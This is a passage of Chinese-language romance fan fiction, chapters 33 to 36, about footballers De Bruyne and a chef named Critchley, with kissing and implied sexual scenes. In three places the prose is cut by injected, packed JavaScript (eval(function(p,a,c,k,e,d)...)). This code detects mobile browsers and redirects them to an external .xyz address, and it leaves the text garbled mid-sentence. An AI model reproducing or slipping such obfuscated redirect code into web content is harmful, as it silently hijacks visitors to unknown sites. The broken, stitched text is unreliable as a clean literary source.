“算了,我还是告诉你吧,免得你以后也嫌弃我。我告诉你了之后,我也不奢望你可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617525|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以收养我,我更不奢望你可以和我结为伴侣,我告诉你了之后,如果你想让我走,我可以走。” 他说完就趴在桌上哭了。 克里奇利听了心里也不是滋味,虽然他不想逼问他,但这可能是拨开迷雾的唯一原因了。 “好,你告诉我吧,我保证…” “别,你别保证。” 托马斯擦了擦眼泪,又看了一眼,放自己东西的那个橱柜,有些不舍的慢慢开口,“我可能是positive,我不知道英语是不是这样说,但那天拿回来的体检单子上面就是写着positive。” “Oh my god!”克里奇利听了差点没从椅背上撅过去,接着他尽自己最大努力保持镇静,可眼前的小家伙唰的一声站起来,走向他的橱柜,开始拿他的衣服,一件一件的把衣服往自己的包里暴力塞进去,一边收拾东西,一边说,“我不知道什么是positive,这是不是意味着我会死?” 克里奇利走过去,把他的衣服从他的手里夺下来,又把他的包倒过来,把他刚装好的衣物全都洒落在地上。他用力的拉起托马斯的手腕直奔就近的医院走去。 托马斯在他身后拼命的挣扎,一边挣扎,一边叫喊:“你放开我!我不要去医院!你不要管我,你和我什么关系都没有!” “你闭嘴,托马斯!再吵我就把你扔垃圾桶里去!” “呵,你背我回来的那天也是这么说,你为什么不早一点把我扔进垃圾桶里去?” 克里奇利转过来面对着他,双手握住他瘦骨嶙峋的肩膀,调整了一下情绪,尽可能平稳的对他说: “你还不懂positive是什么意思,我们去医院了解一下,然后该吃药吃药,该治疗治疗,不要有太大的心理负担,有的人活到老,老到五六十岁都没有因为这个而病发死去。” “可是你为什么要管我,我不想拖累你!” “就算是我捡回来的一只小动物,我都会对它负责到底,何况你是人呢?你是一个和我有着差不多经历的人,就当是自我救赎,未来的你来拯救现在的你,好让你成为未来的你,明白吗?如果我也要面临孤身一人慢慢老去死去,那么我希望能看到未来的你也有一个体面的生活,我也不奢求你的报答,我只是无愧于内心罢了。” 也许是上帝垂帘他们,一周后,他们等来医院的检测报告,托马斯是negative。 拿到报告后,托马斯震惊了!他也明白了什么是positive,什么是negative,他想起来了,有一个巴西小帅哥和他是同期,被埃里安一起带到英国,年龄,身高,体重甚至连血型都是一样的,该不会是他把体检报告涂改调包了吧? 这件事过了之后,克里奇利总算是松了一口气,另一个好消息也来了,他的护照延期申请被批准了,也就是说,他可以有六个月的时间为自己争取英国国籍了。 这双重的好消息让他们感到兴奋,克里奇利当晚准备了丰盛的大餐,他邀请德布劳内来他家做客,并告诉托马斯,他打算让德布劳内来见证,自己要和他缔结一种关系了。 托马斯说我要叫你爹吗? 克里奇利狠狠打了他后脑勺一下,“我有那么老吗?” “那该不会是?” “Ouch!”这一下比刚才那下打的更疼。 克里奇利说,以后对外你就是我弟弟,平时就叫我姓名就可以了。 “hermano!”托马斯一跳就跳到了克里奇利身上,克里奇利双手把他托住了,完成了一次美妙的上树之礼。托马斯说,“哥哥,在我们阿根廷,hermano就是哥哥。” 克里奇利笑着抱着他转了好几个圈。 这时,门铃响了。 33.第 33 章 德布劳内登门拜访,手里还拿着一个精致的礼盒,克里奇利笑着说来就来,还拿什么礼物? 德布劳内说,又不是给你的。 他把手里的礼盒递给托马斯,托马斯惊讶的瞪大了眼睛,迟迟不敢伸手去接。 “拿着吧。”克里奇利说,“这对他来说小case.” 德布劳内对着他小腹捣了一拳。 “啊!哈哈哈…”克里奇利被他怼的弯了下腰。 托马斯接过来说了声谢谢叔叔。 “托马斯!”克里奇利吼他。 “谢谢哥哥。”他又改口说。 克里奇利看了看德布劳内的脸由阴天转为了晴天,又对托马斯说,你还没给哥哥道歉。 “哦,对不起…” “算了算了,他已经替你道过歉了。”德布劳内看了克里奇利一眼,似乎在回味那晚他的道歉,克里奇利也回望着德布劳内,抿着嘴唇偷笑。 托马斯拿着德布劳内送给他的礼物,小心翼翼的拆开,原来是一个最新款的switch,他高兴的尖叫起来,“哦,我的天呐,我竟然也有游戏机了!”以前因为他偷偷玩哥哥的游戏机,被他哥哥给揍了一顿,说他不配有这个东西,要是玩坏了,把他卖了都赔不起。 他拿着游戏机坐在沙发上摆弄起来,一边看说明书,一边戳着键盘。德布劳内走过去帮他调好模式,又告诉他该怎么玩,手把手的教给他看上去就像一个英语老师。 这虽然是个游戏机,却好像是一部英语学习机,可以让托马斯迅速的学会拼读英语。克里奇利心想,德布劳内真是一款贴心的妈咪。 他走进厨房系好围裙,开始准备大餐。配菜准备的差不多了开始料理龙虾,他刚拿起刀准备斩龙虾时,德布劳内走进了厨房,说我来帮你吧,或者你教教我。 “你不用学,你等着吃就行。”克里奇利擦擦手,握住德布劳内的肩膀,把他往外推。 这时生猛的大龙虾从案板上一下翻到了地上,像条大鲤鱼似的活蹦乱跳还举着两个大鳌,吓得德布劳内一下子搂住了克里奇利的脖子,双脚都差点腾空起来。 克里奇利趁机占便宜,搂着他的腰,低头啄了他一下。 德布劳内赶紧的挣扎出来,推开克里奇利的胳膊,绕到他身后去。 克里奇利抓起地上的龙虾,拿到水龙头下冲了冲,接着手起刀落,咔嚓一声,就把龙虾斩成两段,嘴里还念叨着,对不起了,谁叫你吓唬我的客人呢。 德布劳内走过来看了看,啧了一声,摇摇头说太残忍了。 克里奇利说,我平时很少杀海鲜的,这不是今天有大事要公布才买了这个东西给我们助助兴。 “什么大事?”德布劳内好奇道。 “我要和托马斯办理收养关系了。” “什么你要养儿子了?” “以哥哥的身份。” “噢,那恭喜你!”德布劳内的脸上明显高兴了不止一个度,直接笑出了脸上的括号。 “现在可以让我亲了吧?” 克里奇利搂过他的脖子,长长的胳膊把他困在怀里,低垂下眼帘看着德布劳内的鼻尖,深情又专注的吻落了下来,先是亲了亲他挺翘的小鼻子,接着含住了他的唇瓣,一个火热的吻打湿了德布劳内的嘴唇,接着被他拥吻到冰箱和橱柜的角落里,撞的锅碗瓢盆叮当作响。 过了一会儿,传来了托马斯的叫声。 “你们俩,适可而止点!这还有一个小孩儿呢!” “小孩个屁,你马上就18了。” 克里奇利没管他,继续拥吻着德布劳内,这次,德布劳内被吻到腿软,感觉被克里奇利逼到了自己的禁区,而来到了他的舒适圈,厨房还没点火就已经热的像个烤箱,不一会儿就出了一身汗。 “Hey布莱恩,我是来让你教我做饭的,不是来叫你吃我的。”他推着克里奇利的脖子,说你再这样,我以后不来了。 克里奇利笑着说:“你实在是太美了,你知道吗?美到晃眼睛的那种。” 德布劳内掐了一把他的腰肉,被他色眯眯的样子吓得马上要退出厨房,又被他一把抓住手腕,拖到了案板前,说:“来,我教你怎么料理龙虾。” “你能不能教我点别的?比如雕个萝卜花之类的。” 德布劳内看着眼前被他切成两半的龙虾,还是不敢下手。 “好吧,那我们做点艺术的东西。” 克里奇利从他身后抱着他,握着他拿着厨师刀的右手,切出一片片晶莹剔透的鲜鱼片,又切了一把羽絮般的葱花,最后拿起水果刀雕刻起了胡萝卜花,全程抱着他专心致志的玩菜。 但离了克里奇利的手德布劳内就不会了,他一会儿就把案板弄得像西红柿惨案一样。 克里奇利笑着问他你是右撇子还是左撇子,言下之意就是说他手笨,德布劳内用左脚踢了他一脚,说我不分左右。 克里奇利被他踢的跳了一下,皱着眉头说你上次踢我那一脚到现在还疼呢。 托马斯玩游戏都玩的无聊了,对着厨房喊了一声喂,你俩还有完没完了?这晚餐还能吃上不? 克里奇利哪还用他帮忙,就是工作之余顺带陪着他玩,几下子就做好了一桌子菜。 光是龙虾就做了三种吃法,刺身,蒜蓉芝士焗虾肉,虾黄泡饭,还有花雕松叶蟹,香茅牛骨髓,梅菜扣肉,清蒸马面鱼,一些清爽的配菜,还没端上桌就已经香飘满屋了,引得托马斯不住的咽口水。 菜都摆好了,他张着嘴巴惊讶的说:“今天是什么大日子,不太像庆祝咱俩的结拜,更像是你俩的订婚宴,这也太奢华了吧!” “你哥是大厨,你不知道吗?”德布劳内对做饭没什么时间概念,他感觉自己光是把龙虾剥出来就得费半天劲,而克里奇利就像变魔术似的,用不了1个钟就把生鲜煮成熟饭了,自己还耽误他十多分钟。 “现在才知道,你没来的时候,他哪做过一顿像样的饭,不是喝多了倒头就睡就是糊弄我吃破面包就火腿。” “啧啧,你可真不应该啊。”德布劳内对他粗放式养崽表示很不放心。 聊着聊着,托马斯就和这个冰山美人拉近了关系,他说,“上次我说你来过,他就跟屁股被蛇咬了一口似的立刻坐不住了,然后我说你生气了,他外套都没穿就冲出门去,还凶我是个魔鬼。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629731|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哈哈哈…”德布劳内看了一眼喝的七荤八素的克里奇利,发现他正托着腮眼神拉丝的看着自己。 “看我干嘛?”德布劳内伸出葱根一样的手指把他的脸戳到一边,歪向托马斯,他又转过来,眼神迷离的上下打量德布劳内,棕色发绿的大眼仁映着比利时大橘猫的影子,好像德布劳内是一盘菜,已经被他眼神给吃了个通透。 “好了好了,你别喝了。”托马斯从克里奇利手里夺过酒杯,提醒他明天还得上班呢。 “我好久没去夜场蹦迪了,喝点酒怕什么,放心,工作对我来说就跟玩一样。” 托马斯不敢做的事德布劳内敢做,他接着就揪住了克里奇利的耳朵,反向一扭就把他牢牢的控制住了。 “哎哟!你干嘛啊?凯文!”克里奇利被他揪住耳朵不得不将身子倾斜过去,接着又被他揪着站起来扭送到卧室。 托马斯在他们身后笑出了小括号,心想,真是一物降一物啊,他这个天不怕地不怕气场能闷死一头牛的狼王哥哥,就这么毫无招架能力的被一只金渐层大猫给压制了,这就是传说中的血脉压制吗? 德布劳内把他押进了卧室,揪着他耳朵的手转而捏住了他的下巴,语气仍然带着些许压迫,“布莱恩,你现在肩上有了责任,可不能乱出去玩了。” “那你别走。”克里奇利握住他的手腕,身子径直向后倒去,把德布劳内一同拽倒在床上,压在了他身上。 “别乱来,我在别的地方不习惯。”德布劳内双手撑在他胸膛上,随着他呼吸的频率他的胸口也跟着轻轻的起伏着。 “别说话。”克里奇利抬手扣住德布劳内的后颈,挺直脖子就亲了上去。 德布劳内往后躲一躲,他就往前进一进,最后德布劳内无处可躲索性狠亲了下去,把他的后脑勺亲进了柔软的床垫里去,还说了他一句,“你脖子怎么这么长啊,你是长颈鹿吗?” 克里奇利突然停滞了一瞬,他想到了马德里那只长颈鹿,他睁开眼睛看了看眼前的这个刚被他拿下的金发美男子,大脑一时错乱,冒出一句,“你前男友才是长颈鹿。” 德布劳内听了好像被他电了一下,紧接着从他身上爬起来,甩开他拉拉扯扯的手,摸了摸自己的嘴唇,慌慌张张的退出了卧室。 托马斯正在刷碗,他看见德布劳内这么快就出来还很诧异,问他:“那家伙这么弱的吗?前后还不到5分钟。” “闭嘴!”德布劳内搓了搓自己红的像个紫茄子一样的脸,跑到洗手间去了。 “怎么了嘛?”托马斯跟着他去了卫生间,说实话,他虽然对德布劳内第一印象不怎么好,觉得他很有威胁并且看上去很凶,但现在却有一种莫名的亲近感,他觉得德布劳内好像掌握着他哥哥的命门,那种感觉说不上来,牵一发而动全身的宿命感,就像他冥冥之中从遥远的阿根廷来到英国又经历了这么多坎坷最后遇到可以真心相处的人,那种会持续很久的相当浓烈的感情,不是一时半会能表达清楚的。 所以他也不把德布劳内当外人,就站在卫生间门口看着他把水往自己的脸上撩。 而彼时的克里奇利早就睡的一塌糊涂了,根本不记得自己说过什么。 34.第 34 章 德布劳内洗完脸之后想走,托马斯拉住他不让他走,对他说你给我买了这么贵重的礼物,我还不知道要拿什么报答你。 德布劳内说一个游戏机而已,你好好报答你哥哥就行,他才是真正救赎你的那个人。 托马斯说我知道,等我选美赢了以后,一定会好好报答他的,我希望到时候连你一起。 选美?德布劳内听着觉得很感兴趣,为了不让他问自己和克里奇利的事,就和他聊起了这个话题。 克里奇利睡着睡着就被外面的说话声给吵醒了,走出来发现他们俩在沙发上聊的热火朝天。 托马斯看到克里奇利,眼睛亮晶晶的,一副很夸张的表情对他说,“哦,哥,你知道吗?德布劳内先生要资助我参加选美。” 什么玩意?克里奇利听了下巴差点掉下来,小家伙最近在忙着四处打工,整天打电话关注自己的定居进度,已经很久不提选美的事了。怎么又要去选美呢?他到底除了这条路就无路可走了吗? “选什么美?”克里奇利说,“你长的一点都不美。我要是考官,第一个把你拿下来。” “为什么?”说他不美的克里奇利还是第一个人。 “别听他胡说八道,你的五官真的很适合上电视。”德布劳内冲他眨眨眼。 托马斯一脸无辜, “看吧看吧,到底谁才是我亲哥?” 克里奇利:“你瘦的一点腱子肉都没有,个子也就一米七多点,才艺也没有,不是我打击你,你跳的舞能拿到台前上去吗?” 托马斯: “不是,我一米七七,虽然没有你高也不差吧!” 克里奇利: “我看你要是能选上什么世界先生,我都能代言宇宙了!” 德布劳内: “得了吧你,怎么这样打击孩子,你充其量也就是个有点姿色的大眼萌叔,他可不一样,他是360℃无死角的精致,怎么看怎么漂亮。” 克里奇利:“德布劳内,你别仗着有钱就想一出是一出,明星这条路不是谁都能走的,我可不想哪天再从娱乐圈的哪个大佬床上把他救出来,我也没那个本事。” “哥!”托马斯眼圈一红,马上就要掉下泪来! “布莱恩!你他妈…明星,我也是明星,你也不是没上过电视,有的人天生就是吃这碗饭的,再说不试试怎么知道,我觉得他挺有投资前景的,当然我不是为了赚钱,我也没有娱乐公司,我只是想看看我的眼光。” “凯文。”克里奇利走过去,和德布劳内对峙起来,托马斯站在他们身边担忧的像一只小鹿,正左看右看准备随时拉架,但他不知道该向着谁说话。 “凯文,我不希望你做这个实验,为了你的眼光把他往火坑里推。” “怎么就是往火坑里推了呢?你不是他监护人吗?我…我也可以帮忙啊!” “他行吗?你问问他,他行吗?英语说的颠三倒四,才艺只会,只会…唉…”克里奇利最终还是没能说出口,但已经被气的语无伦次了。 “好了,别吵了,你们两个就像我吵架的父母,我害怕!”托马斯扭头就跑进房间里去了。 两个人不作声了,德布劳内沉默了一会,拿起外套头也不回的走了,克里奇利在阳台上一根接着一根的抽烟,心里乱成一锅粥了。 第二天上班,谁也不跟谁说话。 克里奇利忙的抬不起头来,他总是亲自掌勺,同时还要监督全餐的出餐情况,每个工作日都要确保准时开餐,冷热适中,营养均衡,做好了午餐后还要去前台看看大家的就餐情况,直到菜品消耗的差不多了他才能稍微清闲一会。 他今天实在是有些烦心,没站在餐台后给球星们推荐菜品,而是一个人跑到阳台上抽烟。 格拉利什,多库和德布劳内坐在一起,格拉利什盛了满满一盘子饭菜,看到德布劳内盘子里只有几片菜叶和一块甜玉米,笑眯眯的问他,“凯文,你减肥吗?怎么吃这么少?” 德布劳内看了一眼格拉利什的餐盘,嫌弃的摇了摇头。 多库正要吃烤鸭,他看出他的比人哥哥心情不太好,想调解一下气氛,于是对德布劳内说,“今天竟然有烤鸭耶,这东西怎么卷?” 德布劳内又瞟了他一眼,指了指格拉利什,懒洋洋的说,“问他。” 这时,克里奇利抽完烟回到餐台水吧,开始研磨咖啡,等大家吃完了有人就会犯困然后来讨要一杯意式浓缩。 德布劳内的眼神随着克里奇利的身影追过去,又面无表情的低下头,戳着盘子里的生菜叶和木鱼花不知在想什么。 “哈哈哈…你要这样卷,手真笨啊!”格拉利什教多库卷饼。 他们俩叽叽喳喳的让德布劳内心烦,他问格拉利什,“上午训练你是怎么做到精准打铁的?” 格拉利什笑不出来了,他说:“凯文,你能不能不要老是聊工作,吃饭的时候聊工作会让我消化不良的。”接着他就端起盘子和多库说,“我再去拿点烤鸭。” “我也去。”多库大眼睛来回扫了一下,害怕凯文一会拿他的丢球说事,也端着盘子跟格拉利什走了。 终于清净了,德布劳内心想,烦死了,要想赶他们走只需要聊工作就行了,虽然给他们留下一种无趣到近乎不近人情的印象也无所谓,反正他们还是会在场上不计前嫌的揉乱他的金毛。 刚往嘴里塞了一口菜叶子,一个高大的身影从他身后闪了过来。 向来率性不拘小节的克里奇利问也不问就拉过椅子坐在德布劳内的对面,把手里的咖啡杯推了过去,对他说:“给你冲的,免得你一会不好意思要。” “切…谁让你坐这的?”德布劳内瞪他一眼,“我不喝。” “还生气呢?”克里奇利翘起了二郎腿,身子靠在椅背上,有些颓废的看着他。 “你怎么想是你的事,我生不生气是我的事。” “不介意的话,下班去公园走走?” “介意。” “呵…”克里奇利就知道他会拒绝,仍厚着脸皮继续骚扰他,“我有话想对你说。” “说吧,现在说。”德布劳内把叉子放下,冷着一张脸,顺手拿起咖啡递到唇边。 克里奇利放下腿,伸长脖子凑过去,小声地问他,“先生,我送你的领带你洗了吗?” “嘶…”德布劳内好像被一口咖啡烫到了嘴唇,接着皱起了眉,蓝色眼睛望过去好像甩过去一把刀。 “不烫啊。”克里奇利拿过来他的咖啡杯,喝了一大口,“我再去给你冲一杯啊。” 看着他往吧台走去,中间还回了一次头,搞的德布劳内又不淡定了,他看了看其他人,发现没有往这边看的,才低下头继续戳盘子里的菜叶子,心想,他真的是一个狠人,举手投足都让人躁动,像咖啡一样让人心跳加速。 一有什么烦心事,克里奇利总喜欢去公寓附近的公园散步。那里有成群的鸽子,连成片的树木,树上还有松鼠窝,运气好的话还会碰到散养的梅花鹿和讨食的小猫。 他今天下班没有开车,穿着一身运动装,打算跑两公里到公园转一圈然后回家。刚出单位门口就听到身后传来两声清脆的汽车鸣笛声。 他转过头来,看到一辆低调奢华的阿斯顿马丁白色轿车,车窗缓缓落下,带着墨镜的金发男人喊了一声上车。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他赶紧把玉米粒扔在地上,回手就捞克里奇利的脖子,克里奇利抱了他一下,他又像过了电似的赶紧脱开身,克里奇利笑着抬手把他连帽外衣上的帽子掀起来戴在他的头上说别怕,没人看见,鸽子不会说话。 喂完了鸽子他们又向小树林走去,有几只流浪猫就躺在午后温暖的长椅上晒太阳,克里奇利又从兜里掏出一块牛油面包干,掰成几块递给德布劳内,那几只小猫闻着牛油味儿就围过来了,仰着头冲着他哇哇的叫,德布劳内赶紧把面包干丢在地上,看着小猫们大快朵颐享受下午茶。 德布劳内惊讶的问他:“你兜里到底装了多少神奇的东西?别一会儿掏出今天餐厅的大法棒来。” “哈哈哈…” 说完,他们俩对着笑了一会儿。 “哦,看那边!”德布劳内指着小路延伸的方向,那里正站着一只小梅花鹿挡住了他们的路并朝这边张望,看上去像只要留下什么好吃的,否则不让你们过路的架势。 “它很温顺的。”说着克里奇里又从兜里掏出了一小段胡萝卜递给德布劳内。 “你不是要来公园和我聊天的,是带着我来喂养野生动物的?” “大自然可以治愈一切没有道理的烦恼。” “少在这装哲学家。” 说话间,那只小梅花鹿已经悄然接近他们,并且低着头嗅到了胡萝卜的香味,然后从德布劳内修长洁白的指尖中把那一小节胡萝卜抢走了,接着欢快的跳进了林间。 克里奇利看到这一幕,好像想通了什么,他看了德布劳内一眼说,“你真不简单。” “我怎么了?” “冷冷清清的贵公子模样,还怪招人稀罕。” “它们不是人。” “我也不是人。” 说着,克里奇利双手捧过他的脸,上去就亲了他一口,还狠狠地吸了吸气,亲的他大脑立刻窜上一股电流,滋的一声差点烧断线。 墨镜挡住了德布劳内的眼睛,但这一吻却生生搅乱了他维持了多年的平静如水的心绪,本来他打算听听看克里奇利说什么,然后不再管他的闲事,可如今,他看着气场强大温柔善良的克里奇利,感觉自己在劫难逃,好像又他妈坠入爱河了。 35.第 35 章 他们在公园里留下一串脚印,惬意的时光在他们洒满阳光的肩膀之间碰撞流淌。 德布劳内看到有个冰淇淋自动售卖机,而克里奇利却被不远处的一个小足球场吸引了目光。 那里有几个少年在踢球,他拉着德布劳内的胳膊走过去隔着铁丝网看他们踢球。 “有什么好看的?整天看我们训练看不够吗?”德布劳内撇撇嘴,目光却没从冰淇淋机上挪开。 “他们踢的更有趣,你看那个金发小男孩就像你一样,能从一堆脚里把球摘出来。” “那个瘦高个儿像你,下盘不稳,又被晃倒了。” “我下盘挺稳的,别说你了,比我高十公分的照样摁到车前盖子上…”还没等他说完,皮球从球场飞了出来,正好落在他们身后不远处。 小孩们冲他们喊:“嘿,老兄,帮忙踢回来。” 克里奇利看了德布劳内一眼,德布劳内抬了抬下巴,意思是别看我,你去,我不爱动弹。 克里奇利只好跑过去,捡起球,目量了一下距离,那个铁丝网很高,用手扔大概扔不过去,他把球抛起来,平时看球员们训练觉得凌空一脚好像很容易,而且比赛中经常放高射炮,代入进去好像也不难,他用力开了一脚。 谁知球根本没按他的路线走,而是又准又狠的直奔德布劳内而去。 德布劳内也没想到这球是冲着他来的,他一闭眼,一缩脖子,只听砰的一声,球打在他后背上又弹了回来。 “Oh fuck!”德布劳内把帽子一拽,眼镜一推,对着他怒吼,“你故意的吧!” 克里奇利赶紧跑过去给他揉揉肩,一边狂笑不止一边说对不起对不起,我瞄准你都打不了这么准。 球场里的小孩也哈哈大笑。 “真笨!” 德布劳内走过去用脚尖一挑就轻松把球挑了起来,颠了几下,接着一脚就把球端进球场里去了。 “噢——!”球场里的小孩尖叫着拍巴掌。 “德布劳内!是德布劳内吧!”球场里的金发小孩指着他大叫着。 德布劳内只好笑着冲他们摆摆手。 “真的是德布劳内!我偶像!”说着,这几个小孩全都冲了过来。 德布劳内站在球场外,把搓上去的眼镜又戴上了,说了一句:“好好踢啊,将来去曼城。”接着拉着克里奇利的胳膊快步离开了球场。 他们来到湖边,这时太阳已经快要下山,夕阳染红了天边,微风拂面,令人神清气爽,但一丝潮湿的冷渐渐袭了上来。 “你等我一下。”克里奇利说完又往回跑,不一会,他拿着一个草莓冰淇淋回来了。 “给。”他递过去。 “我不吃。”德布劳内摇摇头。 “你不吃你刚才路过时眼珠子都快掉下来了。” “我小时候喜欢吃,现在吃一口就要在跑步机上多跑二十分钟,我不想破戒。”他对视着克里奇利,嘴角翘起来,温柔的说,“我想买给你吃的。” “啊哈!”克里奇利挑高了一边的眉毛,歪着头笑出了小虎牙,“这么冷的天你想冻死我啊,还想让我作为你的嘴替吃完了冰淇淋再在跑步机上多跑20分钟。” 以为他会说谢谢,你真贴心之类的,没想到不是直男却有着直男嘴的大呆瓜,专挑难听的说。 德布劳内抬手就捣了他一拳,却被他一把握住了拳头。 克里奇利把他拉进怀里,搂住他的脖子,低头咬了一口冰淇淋,不容他后退的亲了上去,把口中未融化的草莓冰淇淋融化在他们的唇齿之间。 德布劳内的喉结上下滚了一滚,咽下了这份甜蜜,奶油草莓的芳香弥漫在他们的唇舌之中,让他们短暂的忘却了春寒料峭,品尝到了一丝对方的甜蜜和怀抱的温暖。 “要冷一起冷。”如此浪漫的情景下,他又说了破坏氛围的话,德布劳内低头笑笑无奈的摇了摇头。 “嗯,我想问你…”(我想对你说…) 两个人同时开口。 “你先说。”克里奇利努了努嘴。 “不,还是你先说吧。”德布劳内掩饰住神情中的一丝尴尬,故作期待的侧着头看他,让他先说。 “好吧,那我先说了。”克里奇利拉着他的胳膊往回走,“太阳下山了,咱们回去吧。” “你就是要说这个?” “天太冷了,我张不开嘴,特别是吃了一个冰淇淋后。” “怎么不冻死你呢?”德布劳内用肩膀撞了他一下,接着就被克里奇利的大手捞进了怀里,两人步调一致的往车的方向走去。 “其实我想对你说,要资助也是我来资助,而且你也没有时间和精力来打理托马斯的事物。”克里奇利搭着德布劳内的肩膀,一边走一边说起他挣扎了一宿之后的想法。 “你知道我有个叫团队的东西吗?”德布劳内好听的声音里透着一丝傲娇。 “Kevin,不要用钱来砸我的认知。你知道我上次从你家回来有多忐忑吗?害我一度以为自己在卖身,我都十多年没被撅过了。”克里奇利很显然并不想接受他的帮助。 但他拒绝的理由很搞笑也很色。 德布劳内看着他不羞不燥的脸平静的说着粗俗的话,瞬间觉得这个看上去斯文风雅的绅士其实跟雅挨不上边,他几句不离搞运动。 倒是把自己说的有些口渴了。 “昨天你走后,我想了很多,大概这就是天命吧,今晚托马斯下了夜班回来我再和他好好聊聊。”克里奇利平静的说,情绪上看不出挣扎过的痕迹。 “什么夜班?”德布劳内问。 “便利店打工。” “等他真正开始为选美做准备的时候,就不能去便利店上夜班了,他应该把时间和精力放在培训班里,而培训班的费用只出不进,想要把他培养出来不花个百八十万看不到效果。” “走一步看一步吧,他也应该学会为自己的理想买单,我也会在适当的时候拉他一把。” “好,需要帮助尽管说,我还挺喜欢那孩子的。” “你变得真快,不和小孩争风吃醋啦?”克里奇利又在煞风景,结果屁股被德布劳内结结实实的踢了一脚。 “fuck u and kick ur ass!” e on ,I can''t wait!Replace kick with kiss,sir.”他揉揉屁股对着他笑。 上车以后,克里奇利好像想起来了什么,问他,“你要说什么来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673279|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着?” “我?”德布劳内抿了抿嘴唇,“我忘了。” “那我给你做点好吃的你就想起来了。” “去哪?” “我家。” “……” “托马斯上夜班。” “……” “你不是说需要帮助找你?我现在需要你的帮助,德布劳内先生。” 德布劳内不想说心事也不想跟他走更不想帮助他解决身体问题,但他确实口渴了,于是不做声的默默开车来到他家小区。 一进家门,克里奇利就把自己上衣脱了扔在沙发上,不管在谁家,只要一进屋就脱衣服这个习惯也不知是好还是不好,反正那线条美好的后背就不适合穿衣服。 他打开冰箱拿了两罐啤酒,递给德布劳内一瓶,两人一仰脖咕咚咕咚一罐就干出来了,然后对着打了个酒嗝儿,哈哈一笑。 要是一直这样没负担的整天在一起喝酒聊天鬼混就好了,德布劳内心想,但昨天他说自己前男友是个长颈鹿时就让他感到莫名的心慌,他确实想问问他是怎么知道这件事的。 “布莱恩,你怎么知道我有个前男友的?” “噢,原来你想问的是这个啊。”克里奇利揪着他的衣领把他拉向自己,微微低头看着他纯净的像大海一般水蓝的眼睛。 “我一般不说,但既然你问,我也没什么好隐藏的,我和你前男友上过床。”克里奇利向毫无防备的德布劳内丢了一枚重磅炸弹。“确切地说,那不是床,是车。” 德布劳内的身子一颤,睫毛不易察觉的抖动了一下,“你说什么?” “最近在你的一些新闻里总能看到一些说风凉话的,而且磕你们cp的真的很多,作为一个思维敏锐的gay,这点洞察力还是有的。” “你可真大胆!” “那又怎样?你信任我,而我也不会做出伤害你的事,还有,我把他撅了,然后又被你撅了,是不是可以理解为你在这方面赢的绝对漂亮!” 德布劳内皱眉。 “他给你戴绿帽,你再戴回去,是不是很过瘾?” “你还敢说?” “我不仅敢说,我还敢做,德布劳内先生,我是一个性感的大祸害,你忘了吗?” 德布劳内自从和库尔图瓦崩坏以来,一直用坚硬的玻璃罩把自己罩住,没有对任何人开放情感的入口,他对克里奇利一开始是防备,到好奇,误会,再到发现他是一个正直洒脱勇敢的人而对他产生了些许好感。 现在他又迷茫了,这个家伙有着不顾一切的率性态度,看起来很好相处,也很慷慨,慷慨到随意散发饱满的x张力。 他赤裸的上身让人感到阵阵眼晕从而产生一种渴望被包围的幻觉,神了个经病,自己这是怎么回事,会对一个花心大萝卜动心,而且还是一个口味宽泛的top。 还有一个问题,他是不是早就知道自己有个前男友,有那方面的倾向,故意勾引自己的?好像也不是,早在罗德里请客的时候就看出他和鲁本眉来眼去的不是个省油的灯了,现在要怪就只能怪自己经不住诱惑,把大尾巴狼主动请进了家门,还让他叫自己Sir。 没等他想明白,克里奇利就用自己的大长胳膊把他圈住,一步步带进了卧室。 36.第 36 章 克里奇利胳膊支起一个角,把德布劳内困在臂弯里,热烈而主动地拥吻着他,尽可能地释放着他向来用来征服帅哥的本事——温柔浪漫又纯熟霸道的吻技。 和那些他在健身房、浴室、舞池、酒吧里勾走的小帅哥不一样,他希望给德布劳内留下不可磨灭的印记,如果这个世界有信息素的话,他希望可以标记他。 没有人可以拒绝这样一个充满着进攻欲望和足够挑逗的热吻。 很快,克里奇利就把气氛调到了下午两点西班牙伊维萨的海滩,烈日灼灼,海浪滚滚。 衣服裤子再穿在身上已经不合时宜,它们应该散落在沙发地毯上,只留下两个同样热气腾腾的美好躯体,一个是泛着红的古铜色,另一个是泛着金的粉白色。 他们现在的纠缠,正在一步步把对方带进自己的宫殿,享受着海浪冲刷海滩,风吹麦浪的自然舒适,以及有那么一点不现实的咖啡混着热带水果的甜蜜香气在他们周围慢慢浸透。 